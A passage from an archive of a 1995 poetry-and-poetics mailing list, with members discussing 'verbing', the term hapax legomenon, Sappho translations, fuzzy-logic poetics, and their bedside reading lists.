of all days are unique, and here there is a cubist composition which acts as a mnemonic for remembering some. The cubist composition of thought in the theatre of conversation is painted by all involved, each is sitter and painter. There we test the notion of good we live. The new-born child joins with us in showing such and such is part of good not evil, or the new-born child contemplates doing something that is not good and, without disapproval, I and the new-born child contemplate the contemplation, mentally, in the theatre and thus the evil is only contemplated and not acted, and the mental did no harm. Good is not a regulation accepted. It and evil are embodied in the theatre, evil is shown to be short-term, for one can spend one hour in the theatre and see much more than one: hour of imagined time and space; one is long-term in order to sit or paint in the theatre; by the dimensions of the theatre evil is only short-term and thus really boring. The sitter is not the painter, the painter not the sitter, all are not alike in the theatre; yet via Carl Rogers, Stanislavsky and Walter Benjamin's communing almost to identity, I have got to the theatre, got back there. In fact, when two meet (or more than two) and accept equally the painter and the sitter within them, then starting out with the attempt to identify from the inside (if you. like, via R, S or B) can be discarded. and conversation begin. The theatre, or cubism, or R, S, or B, may get you there, but they are not there. There is conversation.

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328. Burt Kimmelman

Re: rules, reverse thinking, calvin, and cummings

Thu 22 Jun 1995

To Steve Carll et al.:

Re.: "verbing" and other "transitizing of verbs inherent and/or verbs as back-formationed nouns:

We today in English may have a proclivity for verbing because of our sensibility, that is, our high-tech way of life demands an (to borrow from the big man) "instanter" perceptual existence and because English is the most analyzed (i.e., broken down into constituent parts) languane [correction: language] in the world.

Let us compare with ancient Roman Latin. That Latin was highly inflected or rather synthesized (the opposite of analyzed). Also, the ancient writers did not even bother to show visual breaks between words (the cursive script just flowed on and on and in Greek often wrapped to the next line backwards, called boustrophedon [sp?] meaning like the route a plow and its horse would take in the field--plowing meaning writing is a very old metaphor, by the way]); so,

thinking about rules (I digress here), I guess the ancients had to be damn sensitive readers who found out the rules of the writing as they went along.

Anyway, there are more discrete units in modern English.

Questions for all:

What was the frequency of neologism and hapax formation in the ancient inflected world?

Does present-day avant-garde poetry (e.g. Language Poetry--or is this now G3 status and thus relegated to the ancient mists of historical time) depend more on new usages and the like than modern or older poetry?

Burt Kimmelman
[redacted]

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329. Loss Glazier
Re: w.s.
Thu 22 Jun 1995

> *Also, Loss, is the interactive poem you mentioned the one compiled at the EPC? Would it be possible for future contributors to the poem to see where their lines go once they're written? (I mean, to access the poem in progress?)*

Jordan, I am at work trying to implement a program that will make this possible. Hopefully, soon!

(Then there would be a link that offers access to the poem in progress.)

Loss

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330. Reginald Johanson
rules and reverse thinking
Thu 22 Jun 1995

Charles--
Thank you. Much better.
reg

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331. cris cheek
Re: Mail List: Concrete
Thu 22 Jun 1995

Carl, top work. PLease keep me informed.

Don't respond to DADA Poetries personally - arguably locates it too specifically in a historical frame. Also gives the impression of being a list for DADA related activity and could tell more for the general interested browser. Having said which, 'naming problem' is common.

I'll think on it,
I know - how 'bout dada poetries? No, I'll think about it - but don't
wait up
love and thanks
cris

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332. maria damon
Re: rules, reverse thinking, calvin, and cummings
Thu 22 Jun 1995

---

kimmelman writes:
>
> Questions for all:
>
> What was the frequency of neologism and hapax formation in the ancient
> inflected
> world?
>
>
> what's hapax --happy accidents?
maria

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333. Burt Kimmelman
Re: Fuzzy Logic Poetics
Thu 22 Jun 1995

Okay Chris Stroffolino. the life of the mind!

↑ Index

334. Burt Kimmelman
Re: breath rules
Thu 22 Jun 1995

nor did williams. but creeley does (or used to).

↑ Index

335. Carl Lynden Peters
Message for cris cheek...
Thu 22 Jun 1995

cris, hi:

can you back-channel me yr e mail address. sorry, i had it but have misplaced the file

take care,
carl

[redacted]

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336. In the beginning was nostalgia. --Alan Halsey
Re: Sappho
Thu 22 Jun 1995

Ira: if it's not exactly a "translation" of Sappho, Steve MacCaffery's _Intimate Distortions_ is at least an interesting "reading-through" of Sappho. Semi-irrelevant anecdote: when I was at U of T I went to a reading by Doug Chambers and Thom Gunn--Chambers read from a marvelous "Homo Horace" series of translations--as he remarked at the start of the reading, he got tired of reading translations of Virgil and Sappho that made them sound heterosexual, so thought he'd return the favour with Horace. Anyone know if "Homo Horace" was ever published? --Nate Dorward.

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337. Shaunanne Tangney
Re: Night Swimming
Thu 22 Jun 1995

On Wed, 21 Jun 1995, Charles Alexander wrote:

> *Shaunanne, your poem of the "measureless" is quite measured, from "not surface" to "surface," a distinctive poem about thinking being. Strangely physical and somehow also not at all physical, that unspoken "it" and the shivering stars.*

> *Thanks*
>
> *charles alexander*
> *chax press*
> *minnesota center for book arts*
> *phone & fax:* [redacted]
> *e-mail:* [redacted]

Thanks. And yes, quite measured--I suppose some kind of Shelleyan or Wordsworthian "poet" (Measure is within) leaking out--was it WW who said that we need measure to control the emotion? (I should know that!) I don't know if it is always true for poetry, but it seem true inmy life!

Best,
ShaunAnne

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338. Shaunanne Tangney
Re: rules, reverse thinking, calvin, and cummings
Thu 22 Jun 1995

On Wed, 21 Jun 1995, Steve Carll wrote:

> *ShaunAnne writes:*
>
> *I like the thoughts re: only not qualitfying a verb, and that why can't new physics be self-referential as was old physics--I ask in return, can anything be self-referential in the pomo, that is, to my mind, the here and now?*
> *Some might argue that we can only be self-referential. . .*
> *I'm interested in anyone's thoughts here.*
>
> *Good, cause I have some.. .:-)*
>
> *I see postmodernism as distinguished by its self-conscious self-referentiality. I also see "the here and now as not reducible to the postmodern, specifically with regards to this discussion, in that it includes the self but doesn't refer all of what is back to the self.*

I guess I was thinking about stmts like Patricia Waugh's: "Both feminism and Postmodernism have extended our awareness that one of the effects of modernity is that knowledge reflexively enters and shapes experience and then is shaped by it in an unprecedentedly self-conscious fashion." Which says to me a loss of self at the expense of knowledge, but sure could be read as almost the opposite.

Anyway, this is not a pomo list! I do appreciate your thoughts, though, Steve, esp those on verbing being earlier than pomo. I do see literary modernism as the last gasp of modernity, and modernism, so perhaps cummings gloming onto it is perfectly prophetic.

And on that lousey alliteration,
ShaunAnne

> *Yes, I liked that cartoon; what I thought was interesting was Hobbes' (and, I got the impression, Bill Watterson's) reaction, something to the effect that, with this attitude toward language, soon we won't be able to communicate through it anymore. And yet, as Cummings saw so clearly, this is one of the ways language generates new ways of communicating, and English is, it seems to me, particularly adept at the trick of "verbing". Cummings was trying, in his own words, "to undress one by one the soggy nouns whose agglomeration constitutes the mechanism of Normality, and finally to liberate the actual crisp organic squirm--the IS" (from "Gaston Lachaise", in _A Miscellany Revised_, October House, 1965, if anyone's interested.)*
>
> *So it goes way back before pomo (unless you're using pomo as a synonym for what is "ahead of its time", or "avant-garde", or whatever.) What is pomo is the emphasis on shifting the parts of speech of words, part of the pomo project of blurring distinctions, although it's perfectly within the wider syntactic "rules" of the English language to do so in this fashion. But, I ramble...*
>
> *Steve*

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339. **Burt Kimmelman**

Re: Fuzzy Logic Poetics

Thu 22 Jun 1995

---

you mean a text is fixed from the writer's point of view. wouldn't bowers, tansell, mcgann and others question the notion of a single intention. intention at what stage of creation of the final draft, etc.? anyway, when i reread a poem of mine i see what i have said, often seeing things not seen by me before when either reading or writing it.

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340. Burt Kimmelman
Re: breath rules
Thu 22 Jun 1995

I recall Olson's reading-breathing as emphatic and dramatic. Did he ALWAYS honor line breaks in the manner I've heard Creeley do--the answer is no.

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341. Burt Kimmelman
Re: rules, reverse thinking, calvin, and cummings
Thu 22 Jun 1995

maria--wonderful not-quite-false etymology!! Hapax is a word that has been used only once in all of time/history.

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342. Kenneth Goldsmith
Re: Reading lists
Thu 22 Jun 1995

> *Kenneth,*
>
> *Whatever became of the "Bedside" reading lists you started?*
> *I thought that was a wonderful idea. Last one I saw was*
> *March.*
>
> *John Krick*

john--

i like the idea of "bedside reading" lists a lot also. however, the nature of things on the net/mailing lists seems to be an ever-changing proposition; the minute you try to capture something, it has a way of eluding you. hence, the "bedside reading" was a March theme, and a strongish one at that. (Loss had gone so far as to ask if i would "edit" something to this effect each month--which i was/would be pleased to do.) however, it played itself out and disappeared within a week or two. i put up calls for more "bedside reading" lists but recieved no more responses. so--i let it go.

if there is still interest, i would certainly continue with my accumulations, as long as people post/email "bedside reading" material. i'm happy to oblige.

thanks for your interest.

peace,

kenny g

==========
========== Kenneth Goldsmith
http://wfmu.org/~kennyg/ [redacted] [redacted]

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343. Aldon L. Nielsen
Re: Return of the Repressed
Thu 22 Jun 1995

Several people who attempted to reach A.L. Nielsen by e-mail in recent weeks have received their own messages by return mail with cryptic references to the unavailability of the person so addressed. While it is always heartening to reread one's own missives, some have expressed concern about the institutional viability of said Nielsen. The computer at San Jose State University, upon being told that Pete Wilson intended a run for the presidency, collapsed like Lana Turner.

All's well now, however. If any of you have been spurned by the account known as [redacted], please give it another try now.

peripherally yours,

aldon

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344. Steve Carll
Re: Fuzzy Logic Poetics
Thu 22 Jun 1995

Loss Glazier begins a recent post with:

> *To me, the term "a poetics of fuzzy logic" is less than appealing. The reason is that the word "logic" in the phrase, resonant of "logical," implies that there is some desired goal. (Isn't fuzzy logic _in part_ used to help you, say, find information when you don't quite know what you are asking for?) "Fuzzy" also implies a lack of precision, which I do not think is a fair critique of a poetic text.*

Well, yes, individually, the terms "fuzzy" and "logic" may have the implications you suggest, but put them together and you've got a whole different animal. It's kind of an oxymoron, the "fuzzy" part undermining and qualifying the "logic" part by introducing intuitive leaps and such ("fuzzy" logic is used to compensate for unquantifiable variables that spoil the predictions of "hard" logic). It thus doesn't so much imply a lack of precision (and anyway, I think there's a

difference between an implication and a full-blown critique) as point up what the drive for precision may leave out.

I don't know if that makes it any more appealing to you, but it's another way of looking at it, anyway.

Steve

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345. Charles Alexander
Re: Night Swimming
Thu 22 Jun 1995

>Thanks. And yes, quite measured--I suppose some kind of Shelleyan or
>Wordsworthian "poet" (Measure is within) leaking out--was it WW who said
>that we need measure to control the emotion? (I should know that!) I
>don't know if it is always true for poetry, but it seem true inmy life!
>
>Best,
>ShaunAnne
>
>
I'm not certain about that quote, although Zukofsky did say that in poetry, emotion is a matter of cadence. I don't have at hand the exact phrasing.

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

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346. Steve Carll
Re: rules/poems after poetry?
Fri 23 Jun 1995

Herb:

One often finds poetry strewn around by non-"poets" in non-"poetic" forms. You call 'em as you see 'em, and I'll do the same.

Take care!

Steve
>

>>BTW, great poems Herb Levy (love that editing)
>
>
>That wasn't a poem, I was just following a rule.
>
>As I've said before, I'm not a poet (but I play one on TV).
>
>Bests
>
>
>Herb Levy
>[redacted]
>
>

↑ Index

347. **Steve Carll**
Re: rules: rule or suck?
Fri 23 Jun 1995

Carl Linden Peters notes:

> *hey, steve. the professor i referred to has had, continues to have, the strongest, deepest influence in both my creative life and on my aspirations to teach. i asked him once what influenced him the most in his teaching. "The military," he said. --he served 2 or 4 tours of duty in Vietnam*

Hmm...not what I would've expected from the US military (no offense to any US vets on the list), but certainly the potential to learn the self-discipline which is also needed in zen can be found there. Interesting point!

Steve

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348. **Steve Carll**
Re: Think the Reverse
Fri 23 Jun 1995

---

why, where steve what who, ed.

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349. **Steve Carll**
Re: bucky fuller
Fri 23 Jun 1995

John Keeler:
>I believe you're referring to _I Seem To Be A Verb_, Bantam Books 1970.

THAT'S IT!!!

Thanks. Steve

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350. **Steve Carll**
Re: rules and reverse thinking
Fri 23 Jun 1995

Thanks for the advance preview of the King C show, Maria--I'm going to see them Monday in S.F. But I think it's adrian belew who does most of the singing, at least in K.C. (tho I haven't heard much of the new material--maybe fripp does finally take over some of the vocals!)

I myself favor British psychedelia over American--it seems to want to *create* a psychedelic experience through the popsong format, whereas the Dead, Airplane, etc. seem to assume that the listener is already in the psychedelicized space and just want to be the aural wallpaper in the trip room. Which is not necessarily to knock such bands, I just think the UK version is more psychedelic as music, in and of itself. But I'm 28 and wasn't there for either kind when it was emerging, so whatta I know? Anyway.

Steve

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351. **Steve Carll**
Re: open mic
Fri 23 Jun 1995

> *ok--rookie on the list: what's the Open Mic?*

ShaunAnne:

It's a poetry reading (or any kind of performance) where the performers aren't announced ahead of time--anyone can just go and sign up and perform. They're marked by loads of fresh energy and rawness of presentation--and by really trite crap (sometimes simultaneously). Come to S.F. and you can go to two or three a night, every night. All you can stand.

Steve

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352. Steve Carll
Re: rules, reverse thinking, calvin, and cummings
Fri 23 Jun 1995

ShaunAnne:

> *I guess I was thinking about stmts like Patricia Waugh's: "Both feminism and Postmodernism have extended our awareness that one of the effects of modernity is that knowledge reflexively enters and shapes experience and then is shaped by it in an unprecedentedly self-conscious fashion." Which says to me a loss of self at the expense of knowledge, but sure could be read as almost the opposite.*

Well, we gotta keep the models flexible. All things call forth their opposites.

> *Anyway, this is not a pomo list! I do appreciate your thoughts, though, Steve, esp those on verbing being earlier than pomo. I do see literary modernism as the last gasp of modernity, and modernism, so perhaps cummings gloming onto it is perfectly prophetic.*

I think a lot of modernist artists have elements that can't be contained in that box and have to be dealt with as pomo--Cocteau, as Stephen Barker has argued, Stein and Woolf, Hart Crane, with his "hurricane poetics" and his subversively strategized homoeroticism...but you're right, we could all be here forever (or at least indefinitely suspended in the continuing present) talking about postmodernism.

Steve

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353. Ryan Knighton
Re: Fuzzy Logic Poetics
Fri 23 Jun 1995

Fuzzy logic sounds to me like 'warm and fuzzy'; comfort in negative capability or some such thing. I like to think of the poet as actingt out of entrapment, the king in Calvino's "A King Listens". The poet makes stories and counter stories to accompany the echoes around and plotting. A word or phrase echoes throughout the castle of the poem, suggesting shapes and distances, a narrative of corridors in which plots or unplots are made. A Poetics is to exercise power, like a king, when no power is evident or able. As O'Hara says, you go on your nerve, and Calvino's king is nervous.

Then again, as A. Bergman says, I'm in a fresh hell right now and perhaps a little fuzzy for wear.

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354. **maria damon**
a clove of gender
Fri 23 Jun 1995

yo sheila murphy, how can i get hold of your book called a clove of gender? gary sullivan read from it tonight chez moi and the desert wildflowers part is gorgiosorooni. in fact, how can i get hold of two copies of the book, cuz i have a friend who is into poetry and also into western agricultural history who liked the poems immensely as well.

best, maria d

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355. **Chris Stroffolino**
Re: cobain
Fri 23 Jun 1995

lindZ--I loved your Kurt Cobain poem---I too want to explode in a violent flash---you sound GREAT!---wish i could drop over for an afternoon--chris

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356. **Bob Perelman**
hapax
Fri 23 Jun 1995

answer to Maria's question about hapax:

hapax legomenon = greek for 'used only once' 'single occurrence'. If a word is found only once, how can you be sure what it means. I gave Apollo a xxcjxc = a can of baked beans? a purple Chevy? a daffodil dipped in nutmeg? a broken vibrator? a three-legged goat?

Interesting poetics questions that reverberate through much of the discussion here. A lot of the assertion of faith in singularity, marginality is tending toward hapax-ville. But that makes political, communal collective political force rest on singular ironies. This is a paradox that may be 'productive' on the local level (screens, pages full of words), but beyond that (distribution, impact, others, public) possibly not.

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357. Charles Bernstein
(no subject)
Fri 23 Jun 1995

test too

↑ Index

358. Kenneth Goldsmith
Re[2]: Reading lists
Fri 23 Jun 1995

> *Kenneth,*
>
> *Whatever became of the "Bedside" reading lists you started?*
> *I thought that was a wonderful idea. Last one I saw was*
> *March.*
>
> *John Krick*
>
> *john--*
>
> *i like the idea of "bedside reading" lists a lot also. however, the nature*
> *of >things on the net/mailing lists seems to be an ever-changing*
> *proposition; the >minute you try to capture something, it has a way of*
> *eluding you. hence, the >"bedside reading" was a March theme, and a*
> *strongish one at that. (Loss had >gone so far as to ask if i would "edit"*
> *something to this effect each >month--which i was/would be pleased to do.)*
> *however, it played itself out and >disappeared within a week or two. i put*
> *up calls for more "bedside reading" >lists but recieved no more responses.*
> *so--i let it go.*
>
> *if there is still interest, i would certainly continue with my*
> *accumulations, >as long as people post/email "bedside reading" material.*
> *i'm happy to oblige.*
>
> *thanks for your interest.*
>
> *peace,*
>
> *kenny g*

Kenneth,

Well, it's too bad there was such a dearth of response after the first. I thought it was a cool idea and had hoped to see more. Even though I don't get to read probabaly MOST of the mail that this list generates, it remains my **first source of info about books I think I MIGHT want to read**. There aren't many places you can go for that sort of thing.

John Krick

john and all--

let's fire it up again! for those of you who missed it the first time: my favorite part of vanity fair is when they ask famous people what they are reading before they go to bed at night. instead, wouldn't it be great to hear what people were reading whose minds & ideas we could actually respect? i'm happy to compile a monthly list of recommended/bedside reading lists for all on this list.

peace
kenny g

==========
========== Kenneth Goldsmith
http://wfmu.org/~kennyg/ [redacted]

↑ Index

359. Don Cheney
workside reading
Fri 23 Jun 1995

I find the books I'm reading broken into 3 distinct PLACES. The first is literally what is on my bedside table. The second is books located on my desk at home. The third is books located at work (as opposed to work-related). The latter books are either in transition to home or are books I read during lunch breaks.

I'm at work now and these are the books on my shelf:

ZEN BUDDHISM AND PSYCHOANALYSIS (Fromm, Suzuki...)
ZEN FLESH, ZEN BONES
A DAY AT THE BEACH (Grenier)
POESIES (Catullus translated into French)
DUSK ROAD GAMES (Grenier)
POETAS NORTEAMERICANOS (Blackburn/Corman/Eshleman/Enslin translated into Spanish)
SOBRE LA PROSA LITERARIA (Shklovsky in Spanish)
TOO HOT TO HANDLE (Juvenile baseball novel for my son Max)
THE BEAST 2 (Juvenile horror for my son Max)
HAND SHADOWS (TO BE THROWN UPON THE WALL) a republication of an 1859 book of hand shadows (for my brother John in prison--I photocopied the various drawings of hand shadows and sent them to him)
HOW TO PITCH (Bob Feller)
MODISMOS (Familiar English-Spanish expressions) (by Mrs. Anness.

& Mr. Boughton. (a random selection gives us: "That codfish
smells to Heaven. Ese bacalao huele a rayos."
THE GATELESS BARRIER (Aitken)
SOCCER FOR JUNIORS (I'm an assistant coach for my son's team this
year)
CATULLUS'S COMPLETE POETIC WORKS (RABINOWITZ, tr.) just got this
on sale at UCSD bookstore yesterday
AREAS LIGHTS HEIGHTS (Eigner) just got this also
NOW ZEN (Charlotte Joko Beck)

--Don Cheney--
[redacted]

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360. Kit Robinson
Sappho
Fri 23 Jun 1995

Reply to: Sappho
Ira,

Bill Luoma (on this list) has also translated Sappho.

Kit Robinson
[redacted]

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361. Kevin Killian
Bedside reading
Fri 23 Jun 1995

This is Kevin Killian. I'm glad to see this feature return, as I too read Vanity Fair regularly tho' the book list is not my favorite. The true crime articles are.

Here is what I've just picked up from around my bed:

"Vel" by Peter Inman-fantastic. Four stars to you, P. Inman. We printed one of these poems in"Mirage #4/Period[ical]" but now I see, it was not the best one after all, there are many, many just as good or better!

"Castle King Four," by Jim Reagan, who sent me this book, haven't read it yet, don't know why he sent it. He said it was a peace offering. I don't know who he is! Seems to be a novel that pits Nazis against the OSS.

"Sliver," by Ira Levin. I read it about every six months. Dodie wrote a paper about it once, for Todd Baron and Carolyn Kemp's zine "REMAP," on

"narration." "A zillion times better than the movie," she says. When is the Ira Levin Conference happening?

Claude Royet-Journoud, "A Descriptive Method," tr. Keith Waldrop-it's small, I should have finished this last week. Didn't. Just found it.

"Berlin Diptychon" by John Yau & Bill Barrette. I'm copying one of the poems here, "The Night Beast is Best," for my new poem, which will have a better title. This book is very luxe, glossy, heavy ink smell, has Berlin written all over me.

"Tender Agencies," by Dennis Denisoff. Why this book isn't a best seller I'll never know. Dennis D. is so smart & so accessible. He is a former member of the Kootenay School and from what I understand will be working at Princeton this fall. Yay Dennis.

"Abusing the Telephone," by Dennis Barone. We had Dennis B. read at Small Press Traffic where he read some of this. We were screaming, kind of. I mean it was sedate in a way. This is a very fiction collective kind of book, tho published by Drogue. Dennis, any one of these tales could have been a novel, I say, expand, don't contract, be expansive like Whitman.

2 new books by Alice Notley. Haven't opened it yet.

Thom Gunn, "The Man with Night Sweats." Thom Gunn is a local hero & a swell guy. This book is his best one yet.

"Arshile #4" ed. Mark Salerno. Arshile #4 features an interview with Gilbert Sorrentino. I always wondered why I had never met GS since he works at Stanford and I'm in San Francisco. Now I find that "the Bay Area is so utterly antithetical to me that I find myself, at all times, struggling against its cuteness, its apathy, its general air of paralysis, its relentless small-townishness, so that it's hard to imagine being 'mellowed out' in the throes of battle. I don't quite know what it is about the place, but the entire Bay Area, with the source of infection being, of course, that citadel of provincialism, San Francisco, has the air of an amateur stage production set in sinister natural surroundings." What a jerk. How about that "source of infection" metaphor Mr. Sorrentino? Are we afraid of the AIDS virus at Stanford University? Anyhow Arshile #4 has this wonderful piece in it by Yoko Ono and as usual a marvelous cover, this time by Jasper Johns.

Bruce Andrews, "Ex Why Zee," collected, I don't know, work for the "theater"? Black and white drawing on the front, "pathetic masculinity" as the art forum says. "Abject art" my favorite. All these little men running around doing disgusting things, . . . four stars for the cover alone, belongs in the Whitney.

"Apex of the M" #3. Read it from cover to cover searching for the explanation from the editors, why on earth they went ahead last time and printed that work

by King Homophobe Ed Dorn! No explanation, still. One editor told me that if they explained every editorial policy they made it would be too long a magazine. Fine. Just wanted to put in my 2 cents on this subject. Again.

"Everything as Expected," by James Herndon. This book, from the 70's, is the essential insider's guide to the collaboration between Jack Spicer & Fran Herndon. Color plates. Seven of these collages were shown at recent Blaser conference. Five stars.

"Tony & Susan," by Austin Wright. I think I got this mixed up with "Austin and Mabel" but instead of being about the relatives of Emily Dickinson it is some kind of literary horror novel. Check it out. I'm up to Chapter Five.

"Esther: Her Murder Haunts a Small Town in Oklahoma." True crime book. Esther is a schoolteacher, in her seventies I think, I think she was murdered in her sleep by some former students, but she's just gone to bed just now at the place I've put it down.

"Written in Blood," by Caroline Graham. She is my new favorite detective writer. Okay, so the ends of her books are always stupid.

"Empire of Words: the Reign of the OED," by John Willensky. This guy teaches at UBC and this book studies the use of citation in the different editions of the OED to come to some conclusions about cultural studies. Work it, girl.

Finally I've come to the floor. Okay and one last book I've just finished from the library, "The Juror," by George Dawes Green. had to get this one since it's the basis of the upcoming Demi Moore picture. The back jacket says that Dawes Green is a poet and the author of "the acclaimed novel "The Caveman's Valentine" and he looks about 12. Excellent! George Dawes Green are you on this poetics list? Come on down!

Thank you Kenneth Goldsmith for arranging this group.

Yours-Kevin K. 1995

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362. Jordan Davis.
Bedside reading
Fri 23 Jun 1995

Books on the windowsill by my bed:
First Love and other stories, Ivan Turgenev
The Witch, Anton Chekhov
Wayfarers, Knut Hamsun
The Art of Telling, Frank Kermode
Tulsa Kid, Ron Padgett

The Silver Dove, Andrey Biely
Defoe, Leslie Scalapino
Torque #1, #2, #3
The Impercipient #9 (I think)
My Trip to New York, Bill Luoma
Vexillum, Bob Hale
Lapsis Linguae, Marcella Durand

And in heavy rotation:
The Exact Change Yearbook 1995 cd (esp. Berrigan/Mayer)

Love
Jordan

↑ Index

363. **Pierre Joris**
Re: Sappho
Fri 23 Jun 1995

If memory serves, Thomas Meyer did translations of Sappho -- & Tom's work should be read more, check out his collection _Sapho's Raft_ from the Jargon Society.

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother. ==========

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364. **maria damon**
current summer reading
Fri 23 Jun 1995

1. johanna drucker, dark decade
2. the new yorker
3. bruce robbins, ed. The Phantom Public Sphere
4. weekly rob breszny horoscope
5. a student paper on paul bowles
5. the floating bear compilation
6. daily mpls star tribune horoscope

7. roadmaps to colorado
8. a dictionary of word origins ("slam" "open" etc)
9. various insurance policies so i can be covered during my upcoming sabbatical
10. other randomly fluffy stuff

boy o boy, what a usefully humiliating exercise. i better upgrade pronto.
thanks.
md

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365. **Chris Scheil**
Re: Reading lists
Fri 23 Jun 1995

Well, I've got a few books of interest I've been looking at lately--hope nobody minds if I chime in here...

1. Raising Holy Hell (Bruce Olds) A fictionalized life ofJohn Brown, due out in September. Amazing book--very powerful, though it bogs down in the last fifty or so pages, after Lee and JEB Stuart crash Brown's party at Harpers Ferry. This is by far the best review copy to cross my desk this year...

2. Manuscript Found in Saragossa (Jan Potocki) This was mentioned in Perec's bk (A Void) & just came out in an English translation. Hallucinatory & dense--imagine a new Decameron co-written by Goya & Hoffman, wardrobe by Edith Head, sets by Lautremont...

3. Exact Change Yearbook, At Passages, From the Other Side of the Century: all part of my vacation Michael Palmer festival. Very interesting to hear Palmer read his new Poems. I'd not imagined his voice sounding like it does; the surprise I felt was akin to the first time I heard Creeley or Williams read--how hearing the poets voicing radically changes the way one reads the written work--the way theauthors diction & intonation get somehow ingrained in yourhead & you find yourself internalizing their vocalization. A bit disturbing, that--almost as if the very act of listening to a recording imposes some kind of individualized canonic reading, underming whatever tactical method of poetic speech you've brought to the written text...

4. Passing Duration, Four Lectures: I've always gotten the sensethat Rodefer's work is somehow out there pacing the Langpo boundaries (maybe event horizon is a better term...). Ghosts of events in those sentences, gesturing toward some alien narrative in hopes of arriving at atmosphere--The same thing I feel reading Coolidge sometimes. Is there anything available since Passing Duration that I might have missed?

Also, quick question to the G1 folks: does anyone remember a poetry festival at a place called Thomas Jefferson College (now GrandValley State University) near Grand Rapids, MI in the spring of 74? Oppen, Reznikoff, Ed Dorn, Rothenberg(I think he was there..) were all in attendance & the readings & roundtables were all either filmed or recorded on audio. The rumor here is that there are still copies floating around, but no one at the University has the slightest idea where one might get a copy... If anyone attended or remembers seeing or hearing footage from this event, please backchannel me...

yrs,

Chris

---------- Chris Scheil > Our life is endless in the way that our visual field [redacted] < is without limit. --Wittgenstein snail mail: > 317 Prospect #4 < Let me say this. Neak Luong is a blur. It is Grand Rapids, MI 49503 > Tuesday in the hardwood Forest. I am a visitor _____ < here, with a notebook --Michael Palmer _____

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366. Chris Stroffolino

Re: Bedside reading

Fri 23 Jun 1995

Good to see HAMSUN and HALE on Jordan Davis' bedside list-- My own is too over the place now--and like Beckett's "Malone" (or is it MOLLOY) I will have to save my inventory for later----chris

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367. Charles Alexander

Re: a clove of gender

Fri 23 Jun 1995

On Fri, 23 Jun 1995 01:22:56 -0500,
maria damon <[redacted]> wrote:

>yo sheila murphy, how can i get hold of your book called a clove of gender?
>gary sullivan read from it tonight chez moi and the desert wildflowers part is
>gorgiosorooni. in fact, how can i get hold of two copies of the book, cuz i
>have a friend who is into poetry and also into western agricultural history who
>liked the poems immensely as well.
>
>best, maria d
>

>
Yes, I just got A Clove of Gender in the mail today. Terrific! Thanks,
Sheila.

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

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368. **Juliana Spahr**
Re: Bedside reading
Sat 24 Jun 1995

I love these lists also. Although Kevin's has made mine feel inadequate. My excuse is moving. I've been trying to refile but I've also pulled out all these old books that I found while trying to alphabetize:

Mary Butts Imaginary Letters; Crystal Cabinet; Traverner Novels; (by the way, any Butts fans out there, would love some info back channel about any good criticism, I haven't found much at all good or bad, and info about the Crowley-Butts connection and her opium addiction (?).

Don DeLillo, Libra

Keri Hulme, Bone People (which has been abandoned as unreadable)

Ben Friedlander (there is an image of a knot for the title) (this is available from Meow Press); recommended

Rachel Tzvia Back, Litany (also Meow Press and recommended)

Prosodia / 5 (nice mix of writers, mainly west coast; put
out by the students of the New College of California Poetics Prog)

Bloo (good pieces by Dodie Bellamy and Kevin Killian and Pat Reed)

Lesli Scalapino, Defoe (I love this book and have become obsessed with it in the same way that I became obsessed with Fanny Howe's Saving History last year)

a large stack of fashion magazines where I have actually
been spending most of my reading time

I would like it if people on this list would just post a
brief message about something good they have read whenever
they read it and how to get it. I mean both stuff that is

available at any Barnes and Noble and stuff that comes in the mailbox. In more cases than not that usually motivates me to obtain said item and in more cases than not I am glad that I did.

Juliana

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369. Steve Carll
bedside reading list
Sat 24 Jun 1995

Hi all--here's what's threatening to fall on me and crush me in my sleep:

How Things Work: Science For Young Americans, a 1941 textbook with some truly freaky illustrations.

Earth and Sky Every Child Should Know, similar, except w/a 1910 copyright.

Mark Twain, _The Innocents Abroad_.

Thich Nhat Hahn, _The Blooming of a Lotus_, a wonderful book of simple meditations.

Levi-Strauss, _The Savage Mind_. Learned a new word ("moiety") from this one. Means "half." Not a hapax--he uses it twice.

A stack of submissions to Antenym, the magazine I edit (#7 due out in August, featuring [at least] George Albon, John Olson, Colleen Lookingbill, Darlene Tate, J.R. Willems, John Taggart, Charles Borkhuis, Michael Basinski, Brian Boury, Andrew Joron, Michael Price, Kristin Burkart, Sheila E. Murphy, Carol Ciavonne, Larry Eigner, Mike Kettner, I.E. Skin, Jean Day, and Bob Heman). Now if I can only figure out in what order to present them!

Six By Seuss. Of course.

And soon--
Buckminster Fuller, _I Seem To Be A Verb_. Soon as I can get my hands on a copy.

Sweet dreams!
Steve

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370. **Chris Stroffolino**
Re: bedside reading list
Sat 24 Jun 1995

Okay--I'll chime in--- I'm reading these unpublished manuscripts--- I am extremely knocked out by Ben Friedlander's reading of Frank O'Hara AND YOU BIG NAME PUBLISHERS OUT THERE ARE FOOLS NOT TO JUMP ON IT WHILE YOU CAN---- This is the kind of "literary criticism" one does not see often-- Then I'm reading THE FATE OF THE SELF (By Corngold--first time in paperback of a 1985 book---I'm reading this for possible "academic use" so i'm reluctant to mention it here, as is my reading in Shakespeare criticism--Susan Snyder, H.T. McCrary, etc. etc---) Also got the EXACT CHANGE BOOK---The Stein piece (and Spahr's intro.) is great. Peter Gizzi's new manuscript has a great poem to Mark McMorris in it...and I got the new Garret lansing HEAVENLY TREE book... I'm sure I'm leaving things out...I read "Marriage" by Marianne Moore the other day---I often spend a whole night on one page! I read O'Hara's "To An Actor Who Died" because it's original title was "To Laura Riding" and "everybody" is telling me I should read Agamban very soon--- It would be interesting if we could talk more about why we're reading (or what is happening why reading) than merely about WHAT--but perhaps that is not a function of the list....chris

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371. **Ron Silliman**
Re: bucky fuller
Sat 24 Jun 1995

Am I the only person who sees Charles Bernstein's formatting of the Artifice of Absorption into lines as a totally Fullerian exercise (intended--and successfully--to make the piece the absorbing gesture it so breathtakingly is)?

Fuller was a longtime Navy member, was he not?

Ron Silliman
[redacted]

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372. **Ron Silliman**
Re: Fuzzy Logic Poetics
Sat 24 Jun 1995

I've always thought that a good portion of what made the avant-garde so much more interesting than "traditional" poetics (tho I think that the AG is a specific historic tradition in its own right, a historic international "community" in all the

